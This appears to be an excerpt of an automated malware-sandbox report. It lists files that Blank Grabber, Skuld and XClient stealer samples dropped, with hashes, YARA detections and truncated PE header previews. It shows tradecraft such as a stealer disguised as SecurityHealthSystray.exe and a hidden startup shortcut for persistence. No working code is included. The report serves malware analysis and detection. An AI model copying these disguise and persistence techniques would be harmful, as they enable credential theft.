Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.....P...... z....................................................`............................................,C......8............ ...M.................................................. ...@...........................................UPX0....................................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\python313.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1850640
Entropy (8bit):	7.994061638516346
Encrypted:	true
SSDEEP:	49152:l+wZGihuIlkSb9jVzMR3Wbp+JL3o+2H5V8Saryhll3DgsZ:1GbYk8w9YpgLY+2H5eSaryt3DgM
MD5:	6EF5D2F77064DF6F2F47AF7EE4D44F0F
SHA1:	0003946454B107874AA31839D41EDCDA1C77B0AF
SHA-256:	AB7C640F044D2EB7F4F0A4DFE5E719DFD9E5FCD769943233F5CECE436870E367
SHA-512:	1662CC02635D63B8114B41D11EC30A2AF4B0B60209196AAC937C2A608588FEE47C6E93163EA6BF958246C32759AC5C82A712EA3D690E796E2070AC0FF9104266
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).@........J..3e...J..................................0f...........`.........................................H_e......Ye......Pe......0]..............'f.4............................?e.(...@@e.@...........................................UPX0......J.............................UPX1.....@....J..2..................@....rsrc........Pe......6..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\rar.exe

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI44642\rarreg.key

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
SHA-256:	58209C8AB4191E834FFE2ECD003FD7A830D3650F0FD1355A74EB8A47C61D4211
SHA-512:	00056F471945D838EF2CE56D51C32967879FE54FCBF93A237ED85A98E27C5C8D2A39BC815B41C15CAACE2071EDD0239D775A31D1794DC4DBA49E7ECFF1555122
Malicious:	true
Yara Hits:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: C:\Users\user\AppData\Local\Temp\_MEI44642\rarreg.key, Author: Joe Security
Reputation:	unknown
Preview:	RAR registration data.Blank-c.Stealer License.UID=e7ae0ee11c8703113d95.64122122503d95ca34668bc2ffb72bcf8579be24bc20f3cd84baaf.afcf62e30badf158ad0c60feb872189f288e79eb40c28ca0ab6407.3a46f47624f80a44a0e4d71ef4224075bf9e28fce340a29099d287.15690be6b591c3bb355e99d6d1b8ffcd69602cb8aaa6dedf268c83.55c1fb90c384a926139625f6c0cbfc57a96996fdb04075bf9e28fc.e340a29067e9237e333577d2c7f3ed1d0f63287f74c9e50c60d76d.b5915ff59f78103d48e0826658d72ba8813da4a649711057613203.

C:\Users\user\AppData\Local\Temp\_MEI44642\select.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26384
Entropy (8bit):	7.471075877103443
Encrypted:	false
SSDEEP:	384:LZPhXaWPBRc6hmfZa7gJXIj2IJ9G46SHQIYiSy1pCQ4HWSJIVE8E9VF0Ny6sC:XaWlspYj2IJ9G4L5YiSyvy2ES
MD5:	FB70AECE725218D4CBA9BA9BBB779CCC
SHA1:	BB251C1756E5BF228C7B60DAEA1E3B6E3F9F0FF5
SHA-256:	9D440A1B8A6A43CFAA83B9BC5C66A9A341893A285E02D25A36C4781F289C8617
SHA-512:	63E6DB638911966A86F423DA8E539FC4AB7EB7B3FB76C30C16C582CE550F922AD78D1A77FA0605CAFFA524E480969659BF98176F19D5EFFD1FC143B1B13BBAAF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........tV..'V..'V..'_.j'T..'F:.&T..'F:.&R..'F:.&^..'F:.&Z..'.;.&T..'V..'...'...&S..'.;.&W..'.;.&W..'.;.'W..'.;.&W..'RichV..'................PE..d.....g.........." ...).0..........@.....................................................`......................................... ...L....................`..............l.......................................P...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	659216
Entropy (8bit):	7.993010988331354
Encrypted:	true
SSDEEP:	12288:ZI2xdk6g1SJU1uQWhSskWXgN/YeZE21RUMza8WznRGO+4:ZbxYw+AXSskaSweZ91uMu80x+4
MD5:	21AEA45D065ECFA10AB8232F15AC78CF
SHA1:	6A754EB690FF3C7648DAE32E323B3B9589A07AF2
SHA-256:	A1A694B201976EA57D4376AE673DAA21DEB91F1BF799303B3A0C58455D5126E7
SHA-512:	D5C9DC37B509A3EAFA1E7E6D78A4C1E12B5925B5340B09BEE06C174D967977264C9EB45F146ABED1B1FC8AA7C48F1E0D70D25786ED46849F5E7CC1C5D07AC536
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gsX.#.6.#.6.#.6.*j../.6.3.7.!.6.3.5.'.6.3.2.+.6.3.3...6.hj7. .6.#.7...6.k.>.".6.k.6.".6.k..".6.k.4.".6.Rich#.6.........................PE..d.....g.........." ...).....0......`.....................................................`..............................................#..........................................................................p...@...........................................UPX0....................................UPX1................................@....rsrc....0.......0..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI44642\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	267024
Entropy (8bit):	7.9826656358602595
Encrypted:	false
SSDEEP:	6144:5FHvhlPKHwqcv9DqegNsKUuFLttFHg+hMrZ99hYN8khE7xj:5tJlyHwqSBqpNsKUuntFJhMF9HC8jj
MD5:	B2712B0DD79A9DAFE60AA80265AA24C3
SHA1:	347E5AD4629AF4884959258E3893FDE92EB3C97E
SHA-256:	B271BD656E045C1D130F171980ED34032AC7A281B8B5B6AC88E57DCE12E7727A
SHA-512:	4DC7BD1C148A470A3B17FA0B936E3F5F68429D83D552F80051B0B88818AA88EFC3FE41A2342713B7F0F2D701A080FB9D8AC4FF9BE5782A6A0E81BD759F030922
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Q.............(.....(.....(.....(.....)................).....).....)x....)....Rich..................PE..d.....g.........." ...).........0..P....@...................................0............`..........................................+..X....)....... .......................+..$...................................P...@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc........ ......................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2sddgn3m.dnd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2z3ua4vh.miq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_34tc1dnw.mz4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b4lva2eb.q0f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjzz4fkz.atd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eh50eebx.fvw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eidononm.vej.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gd0xw1vb.es3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ieupvgui.shy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_izwkiqh0.arv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kdd1fxpa.3a0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pliwwfd4.ojs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pm4ajtcm.fwd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3cnl1lk.dh3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_shnbdhhu.1s3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sl1xchzd.zbp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vscodn2v.3go.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vwmqshlx.val.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wuykgsa3.lvj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zgpecz4i.s2g.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Download File

Process:	C:\Users\user\AppData\Roaming\skuld.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10375680
Entropy (8bit):	6.306827139596188
Encrypted:	false
SSDEEP:	98304:OhoRYXiOhqugpWWNeWTQLc4u0u08eOEaB2v/ZmMz/:ao3OhqFHIrLc4uB08erlNz/
MD5:	DBBD2127D1030E4C9548FDF7DE9983A7
SHA1:	5B7939A94CBD908AD8F57BB2E5328CCE657C3700
SHA-256:	8E3601302C0294914808B6537CD27DE961D087BA0807590B981B7F8C8AA5EEE6
SHA-512:	95A1112C9B062745DF9C20F566CFCB9421221111D02DB0C1A940A5EA230B09C39A487685AE674C350E4641132E3360A19CA0CD8762F7E46CECDE8B7DD85FE5D2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, Author: Joe Security Rule: JoeSecurity_SkuldStealer, Description: Yara detected Skuld Stealer, Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........P........"......@M..R......@H........@...........................................`... .................................................>...............0....................................................................7..x............................text...t>M......@M................. ..`.rdata....F..PM...F..FM.............@..@.data...`{...0...R...&..............@....pdata..0............x..............@..@.xdata.......p.......6..............@..@.idata..>............8..............@....reloc...............>..............@..B.symtab..............P.................B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Download File

Process:	C:\Users\user\AppData\Roaming\eternal.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Nov 17 09:21:22 2024, mtime=Sun Nov 17 09:21:22 2024, atime=Sun Nov 17 09:21:22 2024, length=71168, window=hide
Category:	dropped
Size (bytes):	765
Entropy (8bit):	5.103999643702136
Encrypted:	false
SSDEEP:	12:8oD24pkCh3yY//HDdlLEvj8JfYjA1HkZYiY+mV:8o/6OzEvjRA6ZYiY+m
MD5:	6CFDC2FC41B337A776CC91FA001CF1C1
SHA1:	3C7D5757F751929A402E4D2C1A7778802EDEA0F3
SHA-256:	C0F431FC1EE51CEBC60A6195A0968A2B7EC4AA47AED2776A641FCE263DA61F99
